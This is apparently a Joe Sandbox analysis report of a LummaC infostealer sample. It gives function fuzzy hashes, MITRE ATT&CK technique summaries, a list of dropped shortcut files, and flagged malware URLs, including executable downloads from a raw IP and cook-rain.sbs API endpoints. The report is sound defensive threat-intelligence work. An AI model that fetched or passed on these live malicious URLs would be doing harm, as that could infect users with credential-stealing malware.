Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cde1263aac448c73fe6ed755675f12c9af3b1dfa6a996b64d3753ce9be84e80
Instruction ID: 7927eb95e34f3da7b4d72a0a8252e70e7661eaa06c10b0f3c26f00e6f917eb77
Opcode Fuzzy Hash: 9cde1263aac448c73fe6ed755675f12c9af3b1dfa6a996b64d3753ce9be84e80
Instruction Fuzzy Hash: EB2137B7F6062547F3904839CD9939265429BA4364F2F42788F9CAB7C6E87D9C0A02C4

Function 06BBF95A Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c3058a6899e6bb1c3dc5a651c85092e56d38b0811f808c86082e922d31f57b
Instruction ID: d67a016a502a48e5c031c833cccadb173e57af32e48ba80c9587af7770c8b6e2
Opcode Fuzzy Hash: f7c3058a6899e6bb1c3dc5a651c85092e56d38b0811f808c86082e922d31f57b
Instruction Fuzzy Hash: 4A21A1B3F5162407F7584878CC683A661839BD5324F2F82798F4D67BCAD87D1C0A0288

Function 06BC2CEF Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 058a68e38f895f77a7de48d363895e57fef7b377519c47d374b5cd3dcada0afc
Instruction ID: 3cf2275e6ee8d388c65affc66c2eb1fd94763c944c1fee8c09fc5d2c90b71989
Opcode Fuzzy Hash: 058a68e38f895f77a7de48d363895e57fef7b377519c47d374b5cd3dcada0afc
Instruction Fuzzy Hash: C1214DB7E515314BF3648879CD983A2A5839BD5320F2F42748F5CAB7C1E8BE5C4A52C0

Function 06B7F789 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a2d4ab25d8461219a0c8b76f76f02b7e9c302d2eaca23aa32c69201da0b97b
Instruction ID: cd6ae990311c00081e4454f51ad33cd427a8f0fd4e4d2094ee899e28134d9913
Opcode Fuzzy Hash: 21a2d4ab25d8461219a0c8b76f76f02b7e9c302d2eaca23aa32c69201da0b97b
Instruction Fuzzy Hash: FF211DF3F20A2147F3584869DD853626543EB95315F2F86398F4CEBBC5E87D9C0A5288

Function 06B9815F Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea50ca71119277a1953c3914d363bcf569cb3ff73b29cc13b3803e8f0f6ff59
Instruction ID: 1496f457a822ea15c9ce53edc6c7ce912e2ad7d868ee867b90337013d05b1f93
Opcode Fuzzy Hash: 8ea50ca71119277a1953c3914d363bcf569cb3ff73b29cc13b3803e8f0f6ff59
Instruction Fuzzy Hash: 82214AB7F516304BF3944875DD493A261829795324F2F81B9CF0CAB7C6D8BD5C4A5284

Function 06B7EC81 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95185a95fdfbffc6dea0a66ed3d5a061442eb7f2ac9a3ccaeb1d71a55a823c7
Instruction ID: 3daaa57f2f1e9a7fba17d4350f8c48bcfa0227b167b6cc9c702871b29eadaa28
Opcode Fuzzy Hash: b95185a95fdfbffc6dea0a66ed3d5a061442eb7f2ac9a3ccaeb1d71a55a823c7
Instruction Fuzzy Hash: E5214AF7F416254BF3448879DD8C3A66543A7D4318F2B81348F5C6BBCAE87D4C0A5288

Function 06BAEE81 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0655f7bfbf1b8fa3739e43f5be81a9a0a4a7369a20e8ca4c3be57de63cb72d
Instruction ID: 7521951cdffb73207a64295274ad943e279839510ec6e4a477dca114a4d96ca0
Opcode Fuzzy Hash: 5d0655f7bfbf1b8fa3739e43f5be81a9a0a4a7369a20e8ca4c3be57de63cb72d
Instruction Fuzzy Hash: 5A213AB3F413354BF79488A9DC98352A2939BD4320F2F82788E48AB7D5D9BD5D0952C0

Function 06B8DB6F Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a0f53daa9ef73ba1a13b12dce6b6fa9fccc5ef8500905288abf07d8b66657be
Instruction ID: c0ea87c59554fbe0e8bdaad2d4e19b4e1f3d504f884a0288665f6fd675b5dfed
Opcode Fuzzy Hash: 0a0f53daa9ef73ba1a13b12dce6b6fa9fccc5ef8500905288abf07d8b66657be
Instruction Fuzzy Hash: 002129B7F416214BF35498BADC9832262839BD5325F2F82788F286B7C5DD7D5C0A4284

Function 06B9D36B Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f405969d7a18ef38864cd9e11727a4a651bbc43c9503be6cf51c2cac2c566c
Instruction ID: 55fdbb949728760c8633b7008371ac9d198ca615c41a731a8283fb84f49fba14
Opcode Fuzzy Hash: 41f405969d7a18ef38864cd9e11727a4a651bbc43c9503be6cf51c2cac2c566c
Instruction Fuzzy Hash: CD214CB3F116254BF3684D29CC58366A583DBE4314F2F823C8A8DA77C9D97E5D0A1288

Function 06B8206B Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17c162e56972ebcf37b7c4b1261678e79544e8f349b826b72fff3eead0e59cb2
Instruction ID: 023aaa620d0a2887e6a0e4516fe1b68f00456bbbab3f5a395564ac06ce54b79e
Opcode Fuzzy Hash: 17c162e56972ebcf37b7c4b1261678e79544e8f349b826b72fff3eead0e59cb2
Instruction Fuzzy Hash: B4217FB3FA062447F3584874DD993626143D795321F2F83388E28ABBC9CD7D9C0952C4

Function 06B8BE69 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb46c613eec09b9454689e43538eb91814cf2f177776f1287c939cfac34edcbe
Instruction ID: 8b34e38a943567165af966991e52bb62014ec97a95c4bbcda491c11d30995ee7
Opcode Fuzzy Hash: cb46c613eec09b9454689e43538eb91814cf2f177776f1287c939cfac34edcbe
Instruction Fuzzy Hash: 1E2155F3E0153547F3684829CD59366A2929BE4314F1F82798F0D3BBCAE97E0C4A52C4

Function 06B7148D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 292e16636c04e4127e1d3462312be4a225152fe6b650acc921e0040ec71f1815
Instruction ID: 3ad564d4ccb239495e7aeaa8b225369e43f8a9c33cc3d0881bccf53504786a2e
Opcode Fuzzy Hash: 292e16636c04e4127e1d3462312be4a225152fe6b650acc921e0040ec71f1815
Instruction Fuzzy Hash: B801D2F1A0820EDFEB668F28D4087EE77B0EF41301F09156DD94281990D3790CA8CB6A

Source: http://185.215.113.16/steam/random.exe$0	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/def.exeAppleWebKit/537.36	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/C	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiA	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/g	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/om.	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api8eGNei1kuTiEQW4l	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/3SozW	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apibK0a6	Avira URL Cloud: Label: malware

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

